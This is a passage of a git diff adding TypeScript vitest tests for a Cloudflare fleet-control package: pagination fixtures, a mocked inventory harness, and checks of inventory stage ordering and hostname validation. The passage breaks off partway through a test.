+    const inventoryStore = required(
+      constructed.inventoryStore.mock.calls[0],
+    )[0] as D1FleetInventoryRunStore;
+    const operationStore = required(
+      constructed.operationStore.mock.calls[0],
+    )[0] as D1FleetOperationStore;
+    const get = vi.spyOn(fleetStore, 'get').mockImplementation(async function (
+      this: D1FleetStateStore,
+    ) {
+      expect(this).toBe(fleetStore);
+      return RECORD;
+    });
+    const receipt = vi
+      .spyOn(fleetStore, 'readCleanupReceipt')
+      .mockImplementation(async function (this: D1FleetStateStore) {
+        expect(this).toBe(fleetStore);
+        return undefined;
+      });
+    const cleanupPrune = vi
+      .spyOn(fleetStore, 'pruneCleanupReceipts')
+      .mockImplementation(async function (this: D1FleetStateStore) {
+        expect(this).toBe(fleetStore);
+        return { deleted: 2 };
+      });
+    const generation = vi
+      .spyOn(inventoryStore, 'latestFinalizedGeneration')
+      .mockImplementation(async function (this: D1FleetInventoryRunStore) {
+        expect(this).toBe(inventoryStore);
+        return undefined;
+      });
+    const inventoryPrune = vi
+      .spyOn(inventoryStore, 'pruneInventoryGenerations')
+      .mockImplementation(async function (this: D1FleetInventoryRunStore) {
+        expect(this).toBe(inventoryStore);
+        return { deleted: 3 };
+      });
+    const operationPrune = vi
+      .spyOn(operationStore, 'pruneFleetOperations')
+      .mockImplementation(async function (this: D1FleetOperationStore) {
+        expect(this).toBe(operationStore);
+        return { deleted: 4, releasedPins: 1 };
+      });
+    const getDeployment = control.getDeployment;
+    await expect(getDeployment('acme', 'production')).resolves.toBe(RECORD);
+    await expect(
+      control.readCleanupReceipt(OPERATION_ID),
+    ).resolves.toBeUndefined();
+    await expect(
+      control.latestFinalizedInventoryGeneration(),
+    ).resolves.toBeUndefined();
+    await expect(
+      control.pruneCleanupReceipts({ completedBeforeMs: 99, limit: 5 }),
+    ).resolves.toEqual({ deleted: 2 });
+    await expect(
+      control.pruneInventoryGenerations({ limit: 6 }),
+    ).resolves.toEqual({ deleted: 3 });
+    await expect(
+      control.pruneFleetOperations({ kind: 'audit', limit: 7 }),
+    ).resolves.toEqual({ deleted: 4, releasedPins: 1 });
+    expect(get).toHaveBeenCalledExactlyOnceWith('acme', 'production');
+    expect(receipt).toHaveBeenCalledExactlyOnceWith(OPERATION_ID);
+    expect(generation).toHaveBeenCalledExactlyOnceWith();
+    expect(cleanupPrune).toHaveBeenCalledExactlyOnceWith({
+      completedBeforeMs: 99,
+      limit: 5,
+    });
+    expect(inventoryPrune).toHaveBeenCalledExactlyOnceWith({ limit: 6 });
+    expect(operationPrune).toHaveBeenCalledExactlyOnceWith({
+      kind: 'audit',
+      limit: 7,
+    });
+  });
+});
diff --git a/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts b/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts
new file mode 100644
index 00000000..f2095b7d
--- /dev/null
+++ b/packages/fleet-control/test/cloudflare-fetch-fixture.test.ts
@@ -0,0 +1,91 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { expect, it } from 'vitest';
+import {
+  restProjection,
+  zoneAuthorityResponse,
+} from './fixtures/cloudflare-fetch-fixture.js';
+import { providerWorld } from './fixtures/provider-world.js';
+
+it.each([
+  '/zones?account.id=account',
+  '/accounts/account/d1/database',
+  '/accounts/account/workers/scripts',
+  '/accounts/account/workers/durable_objects/namespaces',
+  '/accounts/account/workers/scripts/page-script/secrets',
+  '/accounts/account/workers/scripts/page-script/versions',
+])('treats explicit first page as the initial provider page: %s', async (path) => {
+  const world = providerWorld();
+  world.zones.push({ id: 'page-zone' });
+  world.createDatabase('page-database');
+  world.applyUpload({
+    scriptName: 'page-script',
+    mode: 'initial',
+    tag: 'page-tag',
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    bindings: [
+      { type: 'secret_text', name: 'SECRET', text: 'inert' },
+      {
+        type: 'durable_object_namespace',
+        name: 'RUNNER',
+        class_name: 'Runner',
+      },
+    ],
+  });
+  const handler = restProjection(world);
+  async function page(number?: number) {
+    const url = new URL(`https://api.cloudflare.com/client/v4${path}`);
+    if (number !== undefined) url.searchParams.set('page', String(number));
+    const response = await handler({
+      method: 'GET',
+      url: url.href,
+      headers: new Headers(),
+      body: undefined,
+      redirect: 'manual',
+    });
+    const value = (await response.json()) as {
+      errors: unknown;
+      messages: unknown;
+      result: unknown[] | { items: unknown[] };
+    };
+    if (path.endsWith('/versions')) {
+      expect(value.errors).toBeNull();
+      expect(value.messages).toBeNull();
+    }
+    return Array.isArray(value.result) ? value.result : value.result.items;
+  }
+  const initial = await page();
+  expect(initial).toHaveLength(1);
+  expect(await page(1)).toEqual(initial);
+  expect(await page(2)).toEqual([]);
+});
+
+it('answers a repeated zone type query with no rows', async () => {
+  const response = zoneAuthorityResponse(
+    new URL(
+      'https://api.cloudflare.com/client/v4/zones?account.id=account&type=full&type=partial',
+    ),
+    ['zone'],
+  );
+  expect(await response?.json()).toMatchObject({
+    result: [],
+    result_info: { total_count: 0 },
+  });
+});
+
+it('filters a single zone type query', async () => {
+  const response = zoneAuthorityResponse(
+    new URL(
+      'https://api.cloudflare.com/client/v4/zones?account.id=account&type=partial',
+    ),
+    [
+      { id: 'full-zone', type: 'full' },
+      { id: 'partial-zone', type: 'partial' },
+    ],
+  );
+  expect(await response?.json()).toMatchObject({
+    result: [{ id: 'partial-zone', type: 'partial' }],
+    result_info: { total_count: 1 },
+  });
+});
diff --git a/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts
new file mode 100644
index 00000000..095d30fb
--- /dev/null
+++ b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts
@@ -0,0 +1,1629 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { APIError } from 'cloudflare';
+import { describe, expect, it } from 'vitest';
+import {
+  advanceCloudflareFleetInventoryStage,
+  CloudflareFleetInventoryBudgetError,
+  CloudflareFleetInventoryCursorDriftError,
+  CloudflareFleetInventoryCursorError,
+  type CloudflareFleetInventoryDeps,
+  type FleetInventoryBucketPage,
+  type FleetInventoryDispatchNamespace,
+  type FleetInventoryDispatchWorker,
+  type FleetInventoryOrdinaryScriptDetail,
+} from '../src/cloudflare-fleet-inventory.js';
+import type { CloudflareSdk } from '../src/cloudflare-ordinary-worker-operations.js';
+import {
+  emptyFleetInventoryRowCounts,
+  FLEET_INVENTORY_STAGE_ORDER,
+  FleetInventoryFindingValueError,
+  type FleetInventoryRunOptions,
+  type FleetInventoryRunProgress,
+  type FleetInventoryStage,
+  type FleetInventoryStagedFact,
+  type FleetInventoryStagedRow,
+  initialFleetInventoryStage,
+  materializeFleetInventoryGeneration,
+} from '../src/fleet-inventory-state.js';
+import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js';
+
+interface KeyItem {
+  readonly name?: string;
+}
+
+interface DispatchItem {
+  readonly id: string;
+  readonly tags: readonly string[];
+}
+
+interface World {
+  readonly kvPages?: readonly (readonly KeyItem[])[];
+  readonly kvValues?: Readonly<Record<string, string>>;
+  readonly dispatchNamespace?: string;
+  readonly dispatchPages?: readonly (readonly DispatchItem[])[];
+  readonly dispatchStatuses?: readonly number[];
+  readonly namespaceInventory?: FleetInventoryDispatchNamespace;
+  readonly dispatchWorkers?: Readonly<
+    Record<string, FleetInventoryDispatchWorker | 'missing' | 'error'>
+  >;
+  readonly domainPages?: readonly (readonly Readonly<{
+    hostname: string;
+    service: string;
+  }>[])[];
+  readonly zoneIds?: readonly string[];
+  readonly zoneRoutePages?: Readonly<
+    Record<
+      string,
+      readonly (readonly Readonly<{
+        id?: string;
+        pattern?: string;
+        script?: string;
+      }>[])[]
+    >
+  >;
+  readonly scriptPages?: readonly (readonly Readonly<{ id?: string }>[])[];
+  readonly scriptDetails?: Readonly<
+    Record<string, FleetInventoryOrdinaryScriptDetail | 'error'>
+  >;
+  readonly databasePages?: readonly (readonly Readonly<{
+    uuid?: string;
+    name?: string;
+  }>[])[];
+  readonly namespacePages?: readonly (readonly Readonly<{
+    id?: string;
+    script?: string;
+  }>[])[];
+  readonly buckets?: Readonly<
+    Record<string, readonly FleetInventoryBucketPage['buckets'][number][]>
+  >;
+}
+
+const CAPABILITY_ERROR = new Error('dispatch namespace capability');
+const INSPECT_FAILURE = 'inspect exploded with token sk-live-secret';
+const DETAIL_FAILURE = 'detail exploded with token sk-live-secret';
+
+function pageAt<T>(
+  pages: readonly (readonly T[])[] | undefined,
+  cursor: string | undefined,
+): Readonly<{ items: readonly T[]; cursor?: string }> {
+  const all = pages ?? [];
+  const index = cursor === undefined ? 0 : Number(cursor.slice(1));
+  const items = all[index] ?? [];
+  const next = index + 1 < all.length ? `c${index + 1}` : undefined;
+  return { items, ...(next === undefined ? {} : { cursor: next }) };
+}
+
+interface Harness {
+  readonly deps: CloudflareFleetInventoryDeps;
+  readonly calls: string[];
+  readonly dispatchRequests: string[];
+}
+
+function harness(world: World): Harness {
+  const calls: string[] = [];
+  const dispatchRequests: string[] = [];
+  let dispatchAttempt = 0;
+  const deps: CloudflareFleetInventoryDeps = {
+    attachmentScan: {
+      accountId: 'account-1',
+      client: undefined as unknown as CloudflareSdk,
+      ...(world.dispatchNamespace === undefined
+        ? {}
+        : { dispatchNamespace: world.dispatchNamespace }),
+      requestDispatchScriptPage: async ({ namespace, cursor, perPage }) => {
+        dispatchRequests.push(`${namespace}|${cursor ?? ''}|${perPage}`);
+        const status = world.dispatchStatuses?.[dispatchAttempt] ?? 200;
+        dispatchAttempt += 1;
+        if (status !== 200) {
+          return new Response('{}', { status });
+        }
+        const page = pageAt(world.dispatchPages, cursor);
+        return new Response(
+          JSON.stringify({
+            success: true,
+            errors: [],
+            result: page.items,
+            ...(page.cursor === undefined
+              ? {}
+              : { result_info: { cursor: page.cursor } }),
+          }),
+          { status: 200 },
+        );
+      },
+    },
+    dispatchNamespace: () => {
+      if (world.dispatchNamespace === undefined) throw CAPABILITY_ERROR;
+      return world.dispatchNamespace;
+    },
+    isDispatchCapabilityError: (error) => error === CAPABILITY_ERROR,
+    listHostRoutingKeys: async ({ cursor }) => {
+      calls.push(`kv-keys:${cursor ?? ''}`);
+      const page = pageAt(world.kvPages, cursor);
+      return {
+        keys: page.items,
+        ...(page.cursor === undefined ? {} : { cursor: page.cursor }),
+      };
+    },
+    readHostRoutingValue: async ({ keyName }) => {
+      calls.push(`kv-value:${keyName}`);
+      return world.kvValues?.[keyName];
+    },
+    inspectDispatchWorker: async ({ scriptName }) => {
+      calls.push(`inspect:${scriptName}`);
+      const entry = world.dispatchWorkers?.[scriptName];
+      if (entry === 'error') throw new Error(INSPECT_FAILURE);
+      if (entry === undefined || entry === 'missing') return undefined;
+      return entry;
+    },
+    getDispatchNamespace: async ({ namespace }) => {
+      calls.push(`namespace:${namespace}`);
+      return world.namespaceInventory ?? {};
+    },
+    listCustomDomains: async ({ cursor }) => {
+      calls.push(`domains:${cursor ?? ''}`);
+      const page = pageAt(world.domainPages, cursor);
+      return {
+        domains: page.items,
+        ...(page.cursor === undefined ? {} : { cursor: page.cursor }),
+      };
+    },
+    listWorkerRouteZoneIds: async () => {
+      calls.push('zones');
+      return world.zoneIds ?? [];
+    },
+    listZoneRoutes: async ({ zoneId, cursor }) => {
+      calls.push(`zone-routes:${zoneId}:${cursor ?? ''}`);
+      const page = pageAt(world.zoneRoutePages?.[zoneId], cursor);
+      return {
+        routes: page.items,
+        ...(page.cursor === undefined ? {} : { cursor: page.cursor }),
+      };
+    },
+    listOrdinaryScripts: async ({ cursor }) => {
+      calls.push(`scripts:${cursor ?? ''}`);
+      const page = pageAt(world.scriptPages, cursor);
+      return {
+        scripts: page.items,
+        ...(page.cursor === undefined ? {} : { cursor: page.cursor }),
+      };
+    },
+    readOrdinaryScriptDetail: async ({ scriptName }) => {
+      calls.push(`detail:${scriptName}`);
+      const detail = world.scriptDetails?.[scriptName];
+      if (detail === undefined || detail === 'error') {
+        throw new Error(DETAIL_FAILURE);
+      }
+      return detail;
+    },
+    listDatabases: async ({ cursor }) => {
+      calls.push(`databases:${cursor ?? ''}`);
+      const page = pageAt(world.databasePages, cursor);
+      return {
+        databases: page.items,
+        ...(page.cursor === undefined ? {} : { cursor: page.cursor }),
+      };
+    },
+    listDurableObjectNamespaces: async ({ cursor }) => {
+      calls.push(`namespaces:${cursor ?? ''}`);
+      const page = pageAt(world.namespacePages, cursor);
+      return {
+        namespaces: page.items,
+        ...(page.cursor === undefined ? {} : { cursor: page.cursor }),
+      };
+    },
+    listR2Buckets: async ({ jurisdiction, startAfter }) => {
+      calls.push(`r2:${jurisdiction}:${startAfter ?? ''}`);
+      const all = world.buckets?.[jurisdiction] ?? [];
+      const start =
+        startAfter === undefined
+          ? 0
+          : all.findIndex((bucket) => bucket.name === startAfter) + 1;
+      return { buckets: all.slice(start, start + 1_000) };
+    },
+  };
+  return { deps, calls, dispatchRequests };
+}
+
+function stageKey(stage: FleetInventoryStage): string {
+  return JSON.stringify(
+    Object.entries(stage).sort(([left], [right]) => (left < right ? -1 : 1)),
+  );
+}
+
+function initialProgress(
+  options: FleetInventoryRunOptions,
+): FleetInventoryRunProgress {
+  return {
+    stage: initialFleetInventoryStage(options),
+    generation: 1,
+    revision: 0,
+    stagedCounts: emptyFleetInventoryRowCounts(),
+    factCount: 0,
+    providerRequests: 0,
+  };
+}
+
+interface DriveResult {
+  readonly steps: readonly string[];
+  readonly stages: readonly FleetInventoryStage[];
+  readonly rows: readonly FleetInventoryStagedRow[];
+  readonly facts: readonly FleetInventoryStagedFact[];
+  readonly diagnostics: readonly string[];
+  readonly providerRequests: number;
+}
+
+/**
+ * Drives the engine exactly as the coordinator will: one chunk per call, and
+ * `lastPageDigest` is retained only while the stage position is unchanged.
+ */
+async function drive(
+  deps: CloudflareFleetInventoryDeps,
+  options: FleetInventoryRunOptions,
+  maxProviderRequests = 1_000,
+): Promise<DriveResult> {
+  let progress = initialProgress(options);
+  const steps: string[] = [];
+  const stages: FleetInventoryStage[] = [];
+  const rows: FleetInventoryStagedRow[] = [];
+  const facts: FleetInventoryStagedFact[] = [];
+  const diagnostics: string[] = [];
+  let providerRequests = 0;
+  for (let index = 0; index < 200; index += 1) {
+    const stage = progress.stage;
+    steps.push(stage.step);
+    stages.push(stage);
+    const result = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options,
+      progress,
+      maxProviderRequests,
+    });
+    rows.push(...result.rows);
+    facts.push(...result.facts);
+    diagnostics.push(...result.diagnostics);
+    providerRequests += result.providerRequests;
+    const stagedCounts = { ...progress.stagedCounts };
+    for (const row of result.rows) stagedCounts[row.kind] += 1;
+    const resumed = stageKey(result.nextStage) === stageKey(stage);
+    progress = {
+      stage: result.nextStage,
+      generation: 1,
+      revision: progress.revision + 1,
+      stagedCounts,
+      factCount: progress.factCount + result.facts.length,
+      ...(resumed && result.pageDigest !== undefined
+        ? { lastPageDigest: result.pageDigest }
+        : {}),
+      providerRequests,
+    };
+    if (stage.step === 'finalize') break;
+  }
+  return { steps, stages, rows, facts, diagnostics, providerRequests };
+}
+
+function findings(
+  rows: readonly FleetInventoryStagedRow[],
+): readonly Readonly<Record<string, unknown>>[] {
+  return rows.filter((row) => row.kind === 'finding').map((row) => row.payload);
+}
+
+function details(rows: readonly FleetInventoryStagedRow[]): readonly string[] {
+  return findings(rows).map((payload) => String(payload.detail));
+}
+
+const TENANT = 'tenant1';
+const ENVIRONMENT = 'prod';
+const POLICY = canonicalDeploymentEgressPolicy({
+  policyId: 'policy-1',
+  tenantTag: TENANT,
+  environment: ENVIRONMENT,
+  allowedHosts: ['api.example.com'],
+});
+
+function hostRouteValue(scriptName: string): string {
+  return JSON.stringify({
+    scriptName,
+    tenantTag: TENANT,
+    environment: ENVIRONMENT,
+    policyId: 'policy-1',
+    policyDigest: POLICY.policyDigest,
+    policyHosts: POLICY.policyHosts,
+  });
+}
+
+function registrationValue(
+  scriptName: string,
+  overrides: Readonly<Record<string, unknown>> = {},
+): string {
+  return JSON.stringify({
+    scriptName,
+    tenantTag: TENANT,
+    environment: ENVIRONMENT,
+    databaseId: 'db-1',
+    routeHostname: 'app.example.com',
+    ...overrides,
+  });
+}
+
+function dispatchWorker(
+  overrides: Partial<FleetInventoryDispatchWorker> = {},
+): FleetInventoryDispatchWorker {
+  return {
+    artifactVersion: 'version-1',
+    tenantTag: TENANT,
+    environment: ENVIRONMENT,
+    schemaVersion: 3,
+    desiredSpecDigest: 'digest-1',
+    databaseIds: ['db-1'],
+    durableObjectBindings: [
+      { name: 'DO', className: 'Runner', namespaceId: 'ns-a' },
+    ],
+    serviceBindings: [{ name: 'SVC', service: 'anchorage-plain' }],
+    queueProducerBindings: [{ name: 'Q', queueName: 'queue-1' }],
+    r2BucketBindings: [
+      { name: 'R2', bucketName: 'anchorage-bucket', jurisdiction: 'default' },
+    ],
+    secretNames: ['SECRET_ONE'],
+    plainTextBindings: { DEPLOYMENT_TENANT: TENANT },
+    ...overrides,
+  };
+}
+
+function ordinaryDetail(
+  overrides: Partial<FleetInventoryOrdinaryScriptDetail> = {},
+): FleetInventoryOrdinaryScriptDetail {
+  return {
+    artifactVersion: 'version-9',
+    bindings: [
+      { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: TENANT },
+      { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: ENVIRONMENT },
+      { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '3' },
+      { type: 'd1', name: 'DB', database_id: 'db-1' },
+    ],
+    subdomainEnabled: false,
+    previewsEnabled: false,
+    secretNames: ['PLAIN_SECRET'],
+    ...overrides,
+  };
+}
+
+const RICH_OPTIONS: FleetInventoryRunOptions = {
+  hostRoutingKvId: 'kv-1',
+  databaseNamePrefix: 'anchorage-db-',
+  scriptNamePrefix: 'anchorage-',
+  includeDispatchNamespace: true,
+  includeR2Buckets: true,
+};
+
+const RICH_WORLD: World = {
+  dispatchNamespace: 'anchorage-ns',
+  kvPages: [
+    [
+      { name: '__anchorage_script__:anchorage-alpha' },
+      { name: '__anchorage_script__:anchorage-beta' },
+      { name: '__anchorage_script__:anchorage-bad' },
+      { name: '__anchorage_script__:anchorage-delta' },
+      { name: '__anchorage_script__:anchorage-epsilon' },
+      { name: 'app.example.com' },
+      { name: 'other.example.com' },
+      { name: 'stale.example.com' },
+    ],
+  ],
+  kvValues: {
+    '__anchorage_script__:anchorage-alpha':
+      registrationValue('anchorage-alpha'),
+    '__anchorage_script__:anchorage-beta': registrationValue('anchorage-gamma'),
+    '__anchorage_script__:anchorage-bad': 'not json',
+    '__anchorage_script__:anchorage-delta':
+      registrationValue('anchorage-delta'),
+    '__anchorage_script__:anchorage-epsilon':
+      registrationValue('anchorage-epsilon'),
+    'app.example.com': hostRouteValue('anchorage-alpha'),
+    'other.example.com': hostRouteValue('anchorage-alpha'),
+    'stale.example.com': JSON.stringify({ scriptName: 'anchorage-alpha' }),
+  },
+  dispatchPages: [
+    [
+      {
+        id: 'anchorage-alpha',
+        tags: ['fleet:anchorage', `tenant:${TENANT}`, 'environment:prod'],
+      },
+      { id: 'anchorage-delta', tags: ['fleet:anchorage'] },
+      {
+        id: 'anchorage-epsilon',
+        tags: ['fleet:anchorage', `tenant:${TENANT}`, 'environment:prod'],
+      },
+      { id: 'anchorage-orphan', tags: [] },
+    ],
+  ],
+  namespaceInventory: {
+    namespace_name: 'other-ns',
+    namespace_id: 'ns-1',
+    trusted_workers: false,
+    script_count: 5,
+  },
+  dispatchWorkers: {
+    'anchorage-alpha': dispatchWorker(),
+    'anchorage-gamma': 'missing',
+    'anchorage-delta': 'error',
+    'anchorage-epsilon': dispatchWorker({ tenantTag: 'tenant2' }),
+  },
+  domainPages: [
+    [
+      { hostname: 'cd.example.com', service: 'anchorage-plain' },
+      { hostname: 'orphan.example.com', service: 'anchorage-ghost' },
+    ],
+  ],
+  zoneIds: ['zone-1'],
+  zoneRoutePages: {
+    'zone-1': [
+      [
+        {
+          id: 'route-1',
+          pattern: 'zone.example.com/*',
+          script: 'anchorage-plain',
+        },
+      ],
+    ],
+  },
+  scriptPages: [
+    [{ id: 'anchorage-plain' }, { id: 'anchorage-ghost' }, { id: 'other' }],
+  ],
+  scriptDetails: {
+    'anchorage-plain': ordinaryDetail({
+      bindings: [
+        { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: TENANT },
+        { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: ENVIRONMENT },
+        { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '3' },
+        {
+          type: 'plain_text',
+          name: 'FLEET_RESOURCE_ROLE',
+          text: 'platform-state',
+        },
+        { type: 'plain_text', name: 'FLEET_RESOURCE_GROUP', text: 'group-1' },
+        { type: 'plain_text', name: 'FLEET_SPEC_DIGEST', text: 'spec-1' },
+        { type: 'd1', name: 'DB', database_id: 'db-1' },
+        { type: 'kv_namespace', name: 'KV', namespace_id: 'kv-9' },
+      ],
+      previewsEnabled: true,
+    }),
+    'anchorage-ghost': 'error',
+  },
+  databasePages: [
+    [
+      { uuid: 'db-1', name: 'anchorage-db-alpha' },
+      { uuid: 'db-2', name: 'unrelated' },
+    ],
+  ],
+  namespacePages: [
+    [
+      { id: 'ns-a', script: 'anchorage-alpha' },
+      { id: 'ns-b', script: 'unrelated' },
+    ],
+  ],
+  buckets: {
+    default: [
+      { name: 'anchorage-bucket', creation_date: '2024-01-01T00:00:00.000Z' },
+    ],
+  },
+};
+
+const EMPTY_OPTIONS: FleetInventoryRunOptions = {
+  databaseNamePrefix: 'anchorage-db-',
+  scriptNamePrefix: 'anchorage-',
+  includeDispatchNamespace: false,
+  includeR2Buckets: false,
+};
+
+describe('advanceCloudflareFleetInventoryStage', () => {
+  it.each([
+    'bücher.example',
+    '例子.example',
+    'ｘ',
+    'ｙ',
+    'ｌｏｃａｌｈｏｓｔ',
+    '\u200b.example',
+    'ASCII.example',
+  ])('retains hostname finding bytes for %j', async (hostname) => {
+    const { deps } = harness({
+      domainPages: [[{ hostname, service: 'anchorage-missing' }]],
+      zoneIds: [],
+      scriptPages: [[]],
+    });
+    const run = await drive(deps, EMPTY_OPTIONS);
+    expect(details(run.rows)).toContain(
+      `custom domain '${hostname}' points to a missing or incomplete plain Worker 'anchorage-missing'`,
+    );
+    expect(run.rows.filter((row) => row.kind === 'route')).toEqual([
+      expect.objectContaining({
+        payload: expect.objectContaining({ hostname }),
+      }),
+    ]);
+  });
+
+  it.each([
+    'user@é.example\t',
+    'é.example:80\t',
+    'bad\u0000é.example',
+  ])('preserves finding refusal when hostname assignment rejects %j', async (hostname) => {
+    const { deps } = harness({
+      domainPages: [[{ hostname, service: 'anchorage-missing' }]],
+      zoneIds: [],
+      scriptPages: [[]],
+    });
+    await expect(drive(deps, EMPTY_OPTIONS)).rejects.toBeInstanceOf(
+      FleetInventoryFindingValueError,
+    );
+  });
+
+  it.each([
+    [
+      'refuses a dispatch script page whose envelope reports success false',
+      { success: false, errors: [] },
+    ],
+    [
+      'refuses a dispatch script page with a non-empty errors array',
+      { success: true, errors: [{ code: 1000, message: 'failure' }] },
+    ],
+    [
+      'refuses a dispatch script page whose errors field is not an array',
+      { success: true, errors: 'bad' },
+    ],
+  ])('%s', async (_title, metadata) => {
+    const { deps } = harness({
+      dispatchNamespace: 'anchorage-ns',
+      namespaceInventory: {
+        namespace_name: 'anchorage-ns',
+        script_count: 0,
+        trusted_workers: false,
+      },
+    });
+    const failed = {
+      ...deps,
+      attachmentScan: {
+        ...deps.attachmentScan,
+        requestDispatchScriptPage: async () =>
+          Response.json({ ...metadata, result: [], result_info: null }),
+      },
+    };
+    await expect(drive(failed, RICH_OPTIONS)).rejects.toThrow(
+      /Cloudflare dispatch script listing/,
+    );
+  });
+
+  it('accepts a dispatch script page with errors null', async () => {
+    const { deps } = harness({
+      dispatchNamespace: 'anchorage-ns',
+      namespaceInventory: {
+        namespace_name: 'anchorage-ns',
+        script_count: 0,
+        trusted_workers: false,
+      },
+    });
+    const nullable = {
+      ...deps,
+      attachmentScan: {
+        ...deps.attachmentScan,
+        requestDispatchScriptPage: async () =>
+          Response.json({
+            success: true,
+            errors: null,
+            result: [],
+            result_info: null,
+          }),
+      },
+    };
+    const run = await drive(nullable, RICH_OPTIONS);
+    expect(run.steps).toContain('dispatch-pages');
+    expect(run.rows).toEqual([
+      {
+        kind: 'meta',
+        ordinal: 0,
+        payload: {
+          record: 'dispatch-inventory',
+          dispatchScriptCount: 0,
+          name: 'anchorage-ns',
+          trustedWorkers: false,
+          scriptCount: 0,
+        },
+      },
+    ]);
+    expect(run.stages.at(-1)?.step).toBe('finalize');
+  });
+
+  it('walks the fifteen provider stages in encounter order, one chunk per call', async () => {
+    const { deps } = harness(RICH_WORLD);
+    const run = await drive(deps, RICH_OPTIONS);
+    expect(run.steps).toEqual([...FLEET_INVENTORY_STAGE_ORDER]);
+    expect(
+      run.rows
+        .filter((row) => row.kind === 'route')
+        .map((row) => row.payload.surface),
+    ).toEqual([
+      'host-registry',
+      'host-registry',
+      'custom-domain',
+      'custom-domain',
+      'zone-route',
+    ]);
+    expect(
+      run.rows
+        .filter((row) => row.kind === 'database-id')
+        .map((row) => row.payload.databaseId),
+    ).toEqual(['db-1']);
+    expect(
+      run.rows
+        .filter((row) => row.kind === 'namespace-id')
+        .map((row) => row.payload.namespaceId),
+    ).toEqual(['ns-a']);
+    expect(
+      run.rows
+        .filter((row) => row.kind === 'r2-bucket')
+        .map((row) => row.payload.bucketName),
+    ).toEqual(['anchorage-bucket']);
+  });
+
+  it('advances past a zero-row page for every host routing and dispatch stage', async () => {
+    const steps = [
+      'host-kv-keys',
+      'host-kv-values',
+      'dispatch-pages',
+      'registration-checks',
+      'registration-postprocess',
+    ] as const;
+    const world: World = {
+      dispatchNamespace: 'anchorage-ns',
+      kvPages: [[]],
+      dispatchPages: [[]],
+      namespaceInventory: {
+        namespace_name: 'anchorage-ns',
+        trusted_workers: false,
+        script_count: 0,
+      },
+    };
+    for (const step of steps) {
+      const { deps } = harness(world);
+      const stage = (
+        step === 'host-kv-values'
+          ? { step, keyOrdinal: 0 }
+          : step === 'dispatch-pages'
+            ? { step, pageOrdinal: 0 }
+            : step === 'registration-checks'
+              ? { step, registrationOrdinal: 0 }
+              : { step }
+      ) as FleetInventoryStage;
+      const result = await advanceCloudflareFleetInventoryStage(deps, {
+        stage,
+        options: RICH_OPTIONS,
+        progress: { ...initialProgress(RICH_OPTIONS), stage },
+        maxProviderRequests: 1_000,
+      });
+      // The attestation record is the one row a zero-row registry still
+      // stages, because the namespace itself was read.
+      expect(result.rows.map((row) => row.kind)).toEqual(
+        step === 'registration-postprocess' ? ['meta'] : [],
+      );
+      expect(result.facts).toEqual([]);
+      expect(result.nextStage.step).not.toBe(step);
+    }
+  });
+
+  it('advances past a zero-row page for every routing stage', async () => {
+    const steps = [
+      'custom-domains',
+      'zone-authority',
+      'zone-routes',
+      'route-claims',
+    ] as const;
+    const world: World = { domainPages: [[]], zoneIds: [], scriptPages: [[]] };
+    for (const step of steps) {
+      const { deps } = harness(world);
+      const stage = (
+        step === 'zone-routes' ? { step, zoneOrdinal: 0 } : { step }
+      ) as FleetInventoryStage;
+      const result = await advanceCloudflareFleetInventoryStage(deps, {
+        stage,
+        options: EMPTY_OPTIONS,
+        progress: { ...initialProgress(EMPTY_OPTIONS), stage },
+        maxProviderRequests: 1_000,
+      });
+      expect(result.rows).toEqual([]);
+      expect(result.facts).toEqual([]);
+      expect(result.nextStage.step).not.toBe(step);
+    }
+  });
+
+  it('advances past a zero-row page for every ordinary Worker stage', async () => {
+    const steps = ['ordinary-scripts', 'ordinary-script-detail'] as const;
+    const world: World = { scriptPages: [[]], domainPages: [[]], zoneIds: [] };
+    for (const step of steps) {
+      const { deps } = harness(world);
+      const stage = (
+        step === 'ordinary-script-detail'
+          ? { step, scriptOrdinal: 0 }
+          : { step }
+      ) as FleetInventoryStage;
+      const result = await advanceCloudflareFleetInventoryStage(deps, {
+        stage,
+        options: EMPTY_OPTIONS,
+        progress: { ...initialProgress(EMPTY_OPTIONS), stage },
+        maxProviderRequests: 1_000,
+      });
+      expect(result.rows).toEqual([]);
+      expect(result.nextStage.step).not.toBe(step);
+    }
+  });
+
+  it('advances past a zero-row page for every account resource stage', async () => {
+    const steps = [
+      'd1-databases',
+      'do-namespaces',
+      'r2-buckets',
+      'finalize',
+    ] as const;
+    const world: World = {
+      databasePages: [[]],
+      namespacePages: [[]],
+      buckets: {},
+    };
+    for (const step of steps) {
+      const { deps } = harness(world);
+      const stage = (
+        step === 'r2-buckets' ? { step, jurisdictionOrdinal: 0 } : { step }
+      ) as FleetInventoryStage;
+      const result = await advanceCloudflareFleetInventoryStage(deps, {
+        stage,
+        options: { ...EMPTY_OPTIONS, includeR2Buckets: true },
+        progress: { ...initialProgress(EMPTY_OPTIONS), stage },
+        maxProviderRequests: 1_000,
+      });
+      expect(result.rows).toEqual([]);
+      expect(result.nextStage.step).toBe(
+        step === 'finalize'
+          ? 'finalize'
+          : FLEET_INVENTORY_STAGE_ORDER[
+              FLEET_INVENTORY_STAGE_ORDER.indexOf(step) + 1
+            ],
+      );
+    }
+  });
+
+  it.each([
+    { id: 'ns-a' },
+    { script: 'anchorage-alpha' },
+    { id: '', script: 'anchorage-alpha' },
+    { id: 'ns-a', script: '' },
+  ])('refuses incomplete namespace association %# before or after a valid page', async (namespace) => {
+    for (const namespacePages of [
+      [[namespace]],
+      [[{ id: 'other', script: 'unrelated' }], [namespace]],
+    ]) {
+      const { deps } = harness({ namespacePages });
+      const stage = { step: 'do-namespaces' } as const;
+      await expect(
+        advanceCloudflareFleetInventoryStage(deps, {
+          stage,
+          options: EMPTY_OPTIONS,
